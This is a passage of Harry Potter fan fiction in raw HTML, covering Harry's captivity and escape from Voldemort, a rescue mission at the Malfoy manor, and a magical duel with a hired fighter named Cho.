stop for a long time afterwards.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My my.&#8221; Voldemort said, amused. &#8220;Two full minutes under the curse and you&#8217;re still alive? Not one of my men can last over twenty seconds, and here you go, disproving all known magical laws and facts.&#8221; He watched the panting, sweat covered teenager in front of him. &#8220;Won&#8217;t you reconsider joining me? This of all we could create. Or destroy. Causing the countless deaths of millions. It will be grand.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took a steadying breath and lifted his head to retaliate. However, in his hazed and pain stricken mind, he could only come up with a muggle line he heard throughout being beaten on my Dudley and his bully friends. &#8220;Yo mamma!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort didn&#8217;t understand exactly what he meant by saying his mother, but something about the gleam in his eye told him it was something that was meant to make him mad. For this reason alone, Voldemort once again held out his wand. &#8220;Crucio.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I must say that that was the worst assassination attempt I&#8217;ve ever seen.&#8221; Snape said, looking at the blue haired girl in front of him. &#8220;Was your only mission to kill Dumbledore?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Maybe.&#8221; She replied sarcastically.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That doesn&#8217;t matter.&#8221; Lupin said, looking over at him. &#8220;Tell me, Ryoko, Where is Harry at this current moment.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Take a wild guess.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;With Voldemort obviously.&#8221; He sighed. &#8220;Ryoko, will you cooperate with us? If you do, the court will go easier on you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go to hell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape snorted. &#8220;So original.&#8221; Reaching into his pocket, he took out a vile of a clearest white mixture. &#8220;Don&#8217;t worry, Lupin. I have wanted to try out this new truth potion for a long time now.&#8221; He grabbed Ryoko&#8217;s cheeks with his right hand and squeezed. &#8220;Unfortunately, it appears to be extremely painful and mind raping&#8230; Get my drift?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8230;.I&#8217;ll talk&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Harry? Harry are you awake?</i>&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He groaned, trying to shift, but remembered he was hanging. &#8216;<i>Stupid little&#8230;. He could at least cuff me to the </i>ground <i>you know?&#8217;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;I&#8217;ll take that as a &#8216;yes&#8217;&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8216;Yeah, I&#8217;m awake. Nice to see you too.&#8217;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;We need to get out of here.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8216;I agree.&#8217; </i>Harry looked around the small cell. &#8216;<i>How about the old fake sick and take out guard when he comes in?&#8217;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Personally, I don&#8217;t think they could care less if you&#8217;re ill.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8216;Good point.&#8217;</i> He racked his mind for some ideas while Celestial fed him her stored up power. &#8216;<i>I&#8217;m glad you can do that. I feel a heck of a lot better now.&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;It&#8217;s the least I can do for draining your energy constantly.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8216;Okay. How about I make a lot of noise and when the guard comes in to shut me up we take him out?&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>You use your wand for spells.&#8221;</i> She told him gently. &#8220;<i>It&#8217;s not with you.&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>What about Dragon&#8217;s Breath?&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>You would bring down this entire place on top of you.&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>&#8230;Yeah, I knew that.&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Sure you did sweetie.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8216;If only there was some way&#8230; Yes!&#8217;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>&#8220;Hey! Hey guard!&#8221; He shouted out before Celestial could ask him what his plan was. &#8220;You better run fast because I&#8217;m about to escape and I&#8217;m not in a happy mood!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The door opened and in came a man dressed in a dark robe. &#8220;Oh? Just how are you going to do that?&#8221; He stood in front of him and crossed his arms. &#8220;I don&#8217;t see how you could possible manage what you claim.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I think you&#8217;re too cocky.&#8221; He drew his wand. &#8220;A quick crucio will take care of that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry kicked his unbound foot forward and connected with the man&#8217;s hand, sending the wand flying. Using his other foot, he placed his shoe on the man&#8217;s shoulder, using it as leverage. Quickly, before the man could realize what was going on, Harry slammed his right foot against the wall, making a blade slip from the end of his shoe. &#8220;Now.&#8221; He brought the blade to the man&#8217;s neck, using his other foot as a balancer. &#8220;How about getting me down?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My house!?&#8221; Draco asked, alarmed, as he quickly stood up. The chair he was sitting on tipped back from the sudden movement.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s what she said.&#8221; Professor Lupin confirmed. &#8220;Why would he be brought there, do you know?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We have a rather large basement.&#8221; Draco said dryly. &#8220;Complete with bars. A few places on the walls look like windows, so the person would think they were not under ground. That way they wouldn&#8217;t think of a house in a town.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I see. How well guarded is this place?&#8221; Draco gave a light smirk. &#8220;This won&#8217;t be easy will it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It will with me there.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh no, you&#8217;re not coming. This is too dangerous.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco frowned and opened his mouth to reply, but someone else beat him to it. &#8220;I thought this was a time we were to join together?&#8221; Turning, Draco saw it was Ron who spoke. &#8220;Professor, you know as many passages in this castle that leads out as I do. I&#8217;m going if you say I can or not.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And me.&#8221; Hermione spoke from beside him.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And me.&#8221; Ginny agreed.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco turned. &#8220;You know I will.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Lupin sighed. &#8220;I should have known&#8230;&#8221; He looked at them. &#8220;Ron, get the cloak. Hermione, Ginny, you two are going to be the head group. You&#8217;re faster than the guys.&nbsp; Hermione, wear the shades. I&#8217;ll wear the other pair.&#8221; The teenagers all gave bright smiles. &#8220;Since we&#8217;re out of Hogwarts for this, the shades will give a line art of whatever area you are on. It&#8217;ll be rough, and no secret passages will be revealed, but it will show us where people are and allow us to stay in contact.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco looked at them all .&#8221;You know this will be hard. My house is huge and crawling with death eaters.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m getting my Harry back.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I agree.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco stared at them a moment before closing his eyes. &#8220;Heh.&#8221; He smiled at the ground. &#8216;<i>So this is what friends are for, huh?</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked around a corner slowly and ducked back behind the wall when a guard walked past. Seeing his chance, the boy darted behind him and clipped the person at the base of his neck, knocking him out. Dragging him to a dark corner, Harry let him lay there and continued on his way out of the dungeon or whatever it was that he was in.</p>\n\n<p>&nbsp;</p>\n\n<p>Rounding another turn, Harry came face to face with another death eater. Having no other choice, Harry gave him a swift punch to the stomach before he could call for help. A right hook later, he too was out cold. Harry sighed and drug him out of the way. So far nobody knew he had escaped. As long as the people behind him didn&#8217;t wake up and do some kind of alert spell, he would be okay.</p>\n\n<p>&nbsp;</p>\n\n<p>The boy ran a few steps up and then a few back down. This continued for a few minutes before he realized he was in the exact same place he started at. &#8220;This place is a maze.&#8221; He thought aloud to himself. &#8220;This sucks.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;This is your <i>house</i>!?&#8221; Ginny shrieked in a whisper as the group snuck up to the gates around the Malfoy manor.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Was, yeah.&#8221; Draco replied, glaring up at the place he hated so much. &#8220;Trust me, it may look big and fancy but on the inside, it&#8217;s dark and cold. A real bad feeling always hangs in the air.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shush.&#8221; Lupin told them, leaning against the stone gate. &#8220;Ginny, Hermione, you two are the fastest among us. You go and take out the people guarding the entrance on the gate. Remember, be silent.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&#8220;Yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry groaned as an alarm sounded. It seemed like his sneak time was over and now the entire house would be looking for him.&nbsp; Choosing another door at random, Harry broke through it and gasped when he realized there was a stairway in front of him. Running up it, he found another type of door on the ceiling. Jumping, He managed to grab a hold of the ring that would normally be pulled to open it. His weight, along with gravity, broke the lock and he found himself staring into a starry sky. &#8216;<i>YES!</i>&#8217; his mind screamed as he leapt out of the dark dungeon and onto grass. &#8216;<i>Finally, I&#8217;m out</i>!&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, well, well, what do we have here? An escapee, huh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry slowly turned and came face-to-chest with someone. The boy-who-lived bent his neck back and looked up at who had found him. The person was at least eight feet tall and built muscular. &#8220;Hi.&#8221; He tried lamely, as if he didn&#8217;t just bust out of a death eater nest.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hi.&#8221; The man replied with a grin. &#8220;I don&#8217;t suppose you&#8217;ll calmly go back down would you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;&#8217;Fraid not.&#8221; Harry replied, taking a few steps back to distance himself from the man.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Looks like we&#8217;ll fight then.&#8221; The man cracked his knuckles and then his neck. &#8220;My name is Cho.&#8221; He informed, getting into a fighting stance. &#8220;I was recently hired by Voldemort to work for him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You said his name.&#8221; Harry noticed, also crouching into a stance. &#8220;And your accent&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m from Hong Kong.&#8221; Cho told him just as he threw a black object at the boy.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry reacted fast enough to catch the object, and then realized it was his wizard wand holder, complete with his wand. &#8220;What gives?&#8221; he asked, putting it on but keeping his eyes trained on the man.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t fight dirty.&#8221; Cho snorted. &#8220;I&#8217;m working for the dark lord for the money. I need it for my family back home.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then why must we fight!? You can get a job as an auror! You can fight for good!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Cho!&#8221; Harry and Cho looked sideways at a group of seven or eight death eaters, all wearing mask. &#8220;Cho!&#8221; The man called again. &#8220;We&#8217;ll take it from here, no need for you to-&#8220;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shut up!&#8221; Cho demanded in a voice that clearly spoke confidence and authority. &#8220;Me and Harry here shall have a little fight.&#8221; He looked over to Harry. &#8220;If you win, I&#8217;ll let you go.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And if you win?&#8221; Harry asked, once again getting a serious look on his face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If I win, you&#8217;ll go back to your cell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Agreed.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Cho glared at the death eater that went against him, and all of them backed off at the look.</p>\n\n<p>&nbsp;</p>\n\n<p>Both once again crouched. It was then that Harry noticed the man also wore a wand holder on his right arm. This fact became insanely obvious as he reared back his massive fist and punched, sending a gigantic ball of magical energy flying at him.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry barely had the time to drop to the ground and roll under the blast. Quickly getting to his feet, he made a dash forward and threw a punch. His eyes went wide as a hand twice the size of his caught the attack easily. He was even further surprised by the sheer amount of <i>lack of</i> power it took to throw him into the wall, cracking it.</p>\n\n<p>&nbsp;</p>\n\n<p>His mind blazed with pain as his body registered the cracked bones. Celestial quickly calculated the damage done. &#8220;<i>Your ribs all have a hairline fracture, try not to take any body hits or they&#8217;ll break. You hit your head pretty hard and your internal organs almost all have bruises.&#8221;</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8216;<i>Okay&#8230;Ow.</i>&#8217; Harry thought as he scampered to his feet. Shaking his head, he cleared his mind and held out his hand. &#8220;Sword of Light that I do Release!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The blast of whitish blue energy whipped across the space between the two fighters so fast Cho didn&#8217;t have a second to think of a defense. Taking the blow full on, he let out a grunt as he flew back and dug a trench in the ground with his body. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry sighed and sagged to his knees. &#8220;That spell takes so much energy&#8230;..&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then you shouldn&#8217;t have casted it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry&#8217;s eyes went wide as he heard the voice. Cho was walking to him with a smile on his face. &#8220;Quite a punch, though. I&#8217;ll feel that one for weeks.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry couldn&#8217;t help the smile that came to his lips. &#8220;You&#8217;re a tough one, you are.&#8221; He felt dragon energy flow into him from his necklace. &#8220;Truthfully, I can only shoot that spell twp more times before I&#8217;m drained.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well then.&#8221; Cho smiled back. &#8220;Let me show you <i>my</i> special attack!&#8221; He moved his hands to his side and almost instantly a ball of black and red magical power formed. &#8220;Magic can be used to do many different things.&#8221; He spoke as the ball grew larger. &#8220;In Hong Kong we are trained to use our bodies to fight and our magic to back us up. That is why I am being paid so much. No one else around here knows how to fight&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry steadied himself with a defensive shield. &#8220;Energy blasts are more effect than a curse, I think.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah.&#8221; Cho agreed. &#8220;No sample <i>my</i> power!&#8221; He thrust out his hands and sent the ball forward. &#8220;Renses kokoru ha!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The blast cracked against Harry&#8217;s shield, making his feet dig into the ground. A few moments later he knew his shield could not last against the energy and then leapt to the side, getting his legs clipped as the shield broke.&nbsp; Harry rolled a few times on the ground before springing back to his feet. &#8220;Nice.&#8221;&nbsp; He admitted. &#8220;But such power...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can only do it once more.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s what I thought.&#8221; His eyes narrowed, but a smile played at his lips.&nbsp; This was a nice fight, and it excited him to fight someone who did spells he never saw before and could obviously fight hand to hand as well. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Let&#8217;s see who&#8217;s more powerful.&#8221; Cho offered, also smiling. The death eaters on the side were discussing things amongst themselves, most of which were along the lines of how out of line Cho was. &#8220;Your magic power against mine.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry set his feet. &#8220;Ah! Sounds fun!&#8221; The dragon energy flew into him, leaving Celestial drained.</p>\n\n<p>&nbsp;</p>\n\n<p>Before anymore words could be said, Cho shot out his attack. Harry grit his teeth, amazed at how fast the energy was gathered. &#8216;<i>He can&#8217;t win.</i>&#8217; Cho thought as the magic ripped from him. &#8216;<i>His attack cannot win against mine. It&#8217;ll swallow his power whole and still hit him.</i>&#8217;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sword of Light!&#8221; Harry called, holding out his hand. &#8220;Rapid fire!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The bluish white rip of energy flashed around Harry as the ball of power shot from him. The power of Cho, being so close, was blasted fully but not destroyed. The second blast ripped from Harry&#8217;s body a half second later, this one going straight through Cho&#8217;s magic.</p>\n\n<p>&nbsp;</p>\n\n<p>Cho&#8217;s eyes went wide as the blue magical energy slammed into him. Harry, however, was still hit by Cho&#8217;s blast, sending him reeling.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Where <i>is</i> he?&#8221; Hermione demanded as Draco and Ron took off the invisibility cloak.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;s not in the dungeon.&#8221; Draco replied, thinking. &#8220;He must have escaped.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A loud blast shook the room they were in. &#8220;That&#8217;s got to be him!&#8221; Ginny shouted, running to where the noise came from.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny, wait!&#8221; Lupin called, but was forced to chase after the girl as the rest of his group ran out as well. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p>&nbsp;</p>\n\n<p>Harry slowly got up and shook the dirt from his hair gently. &#8220;Owww&#8230;.&#8221; He moaned as he stood and looked around. &#8220;That hurt.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It sure did.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Cho!?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Cho took a few steps forward and smirked. &#8220;I&#8217;m not out yet.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry smirked back. &#8220;You used all of your magical powers.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But you&#8217;re drained as well. We couldn&#8217;t light up a room if we tried right now.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah.&#8221; He agreed. The magic part of himself was completely drained.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We are normal men for a while.&#8221; Cho 